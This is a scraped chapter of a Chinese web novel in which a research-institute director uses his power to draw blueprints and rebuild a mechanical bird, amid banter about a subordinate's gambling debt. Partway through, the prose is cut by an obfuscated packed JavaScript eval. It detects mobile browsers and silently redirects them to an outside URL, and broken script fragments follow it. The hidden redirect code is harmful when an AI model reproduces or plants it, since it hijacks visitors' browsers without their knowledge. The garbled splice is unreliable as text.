37.伊卡亚娜庄园

作品:《异能是家政全能

    明明穿越已有六年,换算成现世却只过去短短半天这种事,对宁不离冲击着实有些过大。老康喊了他半天,才勉强把魂给喊回来。


    “所以,”他艰难整理自个乱糟糟的思路,“我在这边度过的一个月多,在现世旁人看来,我只是可能、刚消失了一秒?!”甚至搞不好更短,也就眨一下眼的功夫。“这能确定吗?”


    雷长东给江老新倒了杯热水:“十分确定。科研所几乎对每一名我们知道的穿越者都建立了档案,甭管他是否有加入‘夙愿’。在统计了大量数据样本后,基本可以断定,我们在暗界对时间的感知,与在现世时根本不是同一回事。目前已知穿越时长最久的那位,在现世可能只是消失了一天,但他已经在这鬼地方待了足足十二年!不过应该不会待到第十三个年头,毕竟人瞅着快死了。”


    “哎?”


    “小雷!”江老轻声呵斥了一句,“不要吓到年轻人嘛。”


    雷长东耸耸肩,一脸“我又没说错”的牛掰样。还是实在看不下去的老康,出声打断了宁不离的胡思乱想。


    “别太把东子的后半句话当回事。那家伙之所以快完蛋了,完全是他自找的。一天天尽不干好事,纯粹的报应!”


    江老闻言轻叹了声:“话虽如此,但亲眼见证我等同胞陷入如此境地,我这心里也不好受。要是能全员早日重返现世、那是最好不过。但毕竟个人能力有限,以我的本事,在暗界能做到的东西不多。也幸亏身后有个官方性质的组织在,能一步步成立科研所到今天,日子到底有盼头多了!就是我们几乎是从零开始手搓文明,各方面限制都太大,往往有劲没处使!目前也仅仅能做到、让大伙日子过得稍微舒坦些的地步。惭愧啊!”


    虽然江老话是怎么说,但宁不离清楚,能做到让大伙每天有饭吃、有暖和衣服穿,出门有传送、联络有设备,虽每日限量供应,但各基地里热水和基本用电都没断的地步,科研所已经相当不容易了!组织也同样如此。正因为有无数穿越者先辈们的努力开垦,才会有如今他这种后来者相对体面的生活。


    “嗨,好不容易能有人愿意听老人家絮叨,总说些丧气话到底不好。年轻人可别往心里去!”江老自嘲地笑笑,拍拍轮椅重新振作起精神,“小同志好好参观过科研所没有?要不要让我带你们去好好逛逛?”


    呃……这倒也不必。回想起各个实验室和培育室的混乱现状,宁不离搁心里抹去不必要的汗水,绞尽脑汁更换话题赛道:“啊对了江老先生,我能请冒昧问下,您的异能是什么吗?”对不起!他也知道这话题有些过于偏向他人隐私,但实在对不住,他暂时想不到更好的话题了!


    “不介意、不介意。还有,就也喊我‘所长’就好。”江老笑眯眯地摆手,“要说起老人家我的异能啊——”他目光扫视了一圈房间的内部摆饰,最终落到门把手上,“要不小雷,我们上你实验室去!”


    雷长东表示完全没有意见:“所长您随意。横竖我那地也算您半个实验室,用呗!还有现在搁地板上的那玩意,以我的水平,搞定好外观就到头了,内部结构还得您来负责修复。”说罢,直接推着江老的轮椅缓步朝实验室方向进发。


    老先生回头招呼宁不离等人跟上,又抬头询问雷长东:“怎么?还跟二基地的人置气呢?你也体谅体谅,人基地长借咱们机关鸟是用来打灾厄的,坏了也是没办法的事。再说,能用来对抗灾厄,那可是天大的功劳!啊?”


    雷长东边推轮椅边搁在一个劲地拧巴:“那事我早不计较了。压根就计较不过来。”


    江老:“所以,这次又怎么啦?”


    队伍后方的老康闻言、“呵”地一笑,言语间满是幸灾乐祸:“江所长,您是有所不知。这小子上周擂台赛不仅把自个搞成了重伤,白躺一礼拜!就连下注的运道也不怎么样,也不清楚那会他用没用那骰子,反正结果出来,就赔干净了裤衩。今天我们头儿让我来,除了陪陪我们家新人后勤,另一方面也是过来讨债的。”


    “康远鹏你!”雷长东当即怒吼一声,随即整个人都在江老震惊的目光中、软了下去。


    “真有这事?”老先生分别看向几人,见宁不离轻轻点了点头,这才恍然大悟。“怪不得。我说先前小罗咋在楼下发那么大火呢。擂台赛我也听了,人老了眼神不行,看不清转播用的小字,只能听他们讲个大概。小雷负伤这事我倒是清楚,不过这下注……你咋想的?”


    雷长东像个在家长面前只会支吾的孩子,委委屈屈地开口:“……这不、就想着,好好打打那边的脸嘛。还有就是……万一要是能赚,明年咱们所里经费,也就不用发愁了。”


    唉。江老长叹一声,理解又心疼地拍拍后生的手背:“也是苦了你。谁叫咱们科研所基本就是个吞金兽呢。所以你到底欠了多少?”


    雷长东有些挂不住脸的、往人耳边低语了几句。然后就见老先生倒吸一口冷气,但还没来得及做出反应,只见罪魁祸首搁那开始恳求祖宗似的告饶:


    “对不住!但我也是为了整个基地着想!您想怎么骂我都成,但能否请您好歹在罗姐那帮忙美言两句?我这回可是真遭不住啊!”


    哇!好厚的脸皮!宁不离在后方简直叹为观止。


    不过江老毕竟是江老,在明确事实已无可挽回的当下,比起毫无意义的斥责,更关注身为所长,如何帮闯了大祸的下属填补这个巨大窟窿。


    “要不,我回头再帮忙搞个印有玫瑰图案的机关鸟,专供二基地使吧?记得小钟那有这方面的需要,多少能减免些债务。但愿她能看在我这一把年纪的份上,给点情面。”


    “别!您可千万别!”雷长东搁前方哀嚎。要真到必须让江老出面协商的地步,身为基地长,他还要不要脸啦!


    就这么一路回到第一实验室。雷长东推开大门,由于临走前没熄炉火的缘故,因此房内算不得寒冷。对着房中央的机关鸟,江老朝宁不离的方向招招手、示意他上前。


    “小同志来,你看。”


    宁不离在老康不动声色的许可下凑上前去,只见从江老手中冒出张一米宽的空白纸张,这大概就是他的异能道具了吧。随后渐渐的,白纸上先是分块出现淡淡的线条轮廓,而后在江老的精力操控下,线条以一种极快的速度变得增多、杂乱和加深,就像是有一只拿着铅笔的手,在往纸上描绘出某个即为构造复杂的图案。


    一分钟不到的功夫,这张被填满的纸张就露出了自己应有的样貌:设计图纸。而且还是机关鸟的内部设计图纸!


    在宁不离赞为观止中,江老将图纸放于膝上,随即朝前方一伸手,顿时,满地的铁屑、零件,开始围着最中央的机关鸟旋转,并按照图纸上的设计方案,一个个听话的融入机械身躯中。这还没完!根据图纸上标注的额外零部件需求,原本陈列于展示柜里的手工零件也蹦跶到了江老面前,任由老先生在挨个挑拣后,没用的返回柜架,有用的融入机关鸟体内。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152718|194769||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    十多分钟后,看着初步完成修复后的机关鸟,江老摸着下巴观察了半天,又仔细一琢磨:“可能还得再加点……用来固定……最好还能……这部分我记得……”


    宁不离横竖一个字也没听清,即便听清了也确定搞不明白。但他可以清楚的看到江老再次伸手向右一挥,与此同时,早已等候在右侧窗前的雷长东,见状则一把打开了窗户。还没等宁不离反应过来,便见一连串的各式零部件和少部分功能性道具,正从四面八方排成长队朝这边急速飞来!


    顺带夹杂着从各方传来的惊呼:


    “我去!我刚合上的盖子!”


    “哎哎哎!我零件哎!”


    “行了行了,看这架势分明就是所长有所需求。咱们可以换个差不多的。”


    “啊!所长您为啥要抢我扳手?!”


    随着最后一颗螺丝钉飞进实验室,雷长东把窗户一关,搓了搓冻红的手。而房间内,焕然一新的机关铁鸟,正雄赳赳气昂昂地俯瞰众生!


    “差不多就是这么回事吧。要是做小点的机械,速度还能更快。”江老拍拍自个的手,又向后小幅度抡着自个酸痛的胳膊,“唉,年纪大了就是这点不好,身子骨不如从前啊!想当年30多岁在军工厂那会……嗨!不提也罢。怎么样小同志,可是有看清啊?”


    “有、有!江所长,您真是这个!”宁不离迫不及待朝老先生伸出大拇指,“人也厉害!异能也厉害!脑袋瓜更厉害!”


    “哈哈!多谢美言啊!”被宁不离这小后生用最朴实无华的方式夸赞,江老看上去很是高兴,当场用剩余的零件简单组装了个木制微型炮台出来,并同步到了设计图纸上:“我这异能虽说麻烦了点,但对付污染也挺好使。科技狠活嘛,就是要火力充沛!开炮轰他丫的!冷兵器算个什么事?!这方面,小钟那异能就很合我胃口!”


    话音刚落,只见那小东西抬起炮管、对准高墙就是一发纸制榴弹。“轰”的一声,威力还不小,当场给人天花板糊了一片黑。


    就是这样没错!宁不离狠狠点头,只可惜这种高科技异能太少,狠活更少。


    于是在理念认同下,一老一少顿时萌生出了革命友谊,在夸夸声中相处得不要过于融洽。


    宁不离:“您看上去一点也不老,精力又充沛,重返现世一定能长命百岁!”


    江老:“哈哈,借你吉言啊!这也就是在暗界唯一的好处了,嘿,外表年纪它不长!负责警卫的丁永安,就老丁你认得吧?没事就喜欢和我炫耀他那腿和胳膊,说自个还能再战十年!我说你可拉倒吧,知不知道就你那年纪,领导们都拿人当活祖宗供着呢!天天拿根拐冲前线,仔细出个任务破个皮回来,能直接把人按死在后方部门里!不如学学我,这小炮一轰、小枪一打,既松快又得劲!”


    前方聊得畅快,后方年纪中不溜秋的两位,一个看天、一个看地,实在等无聊了方才动动嘴皮:


    老康:“天花板的损耗不能记我们账上。这是你们所长自愿给宁不离看的,不是他的锅。”


    老雷:“屁!我都听着呢,就是你家小新人给攒合的!要不这么着,把这部分费用支出往我欠债上抵上一笔,这事就算两清怎样?”


    老康:“……东子,有时我也挺纳闷。就你这德行,咱头儿怎么没选择一梭子打死你呢?”


    老雷:“搁现世那会、你也没打死我呢!行了,赶紧把人拉开,再废话下去中午咱们谁都别想吃饭!”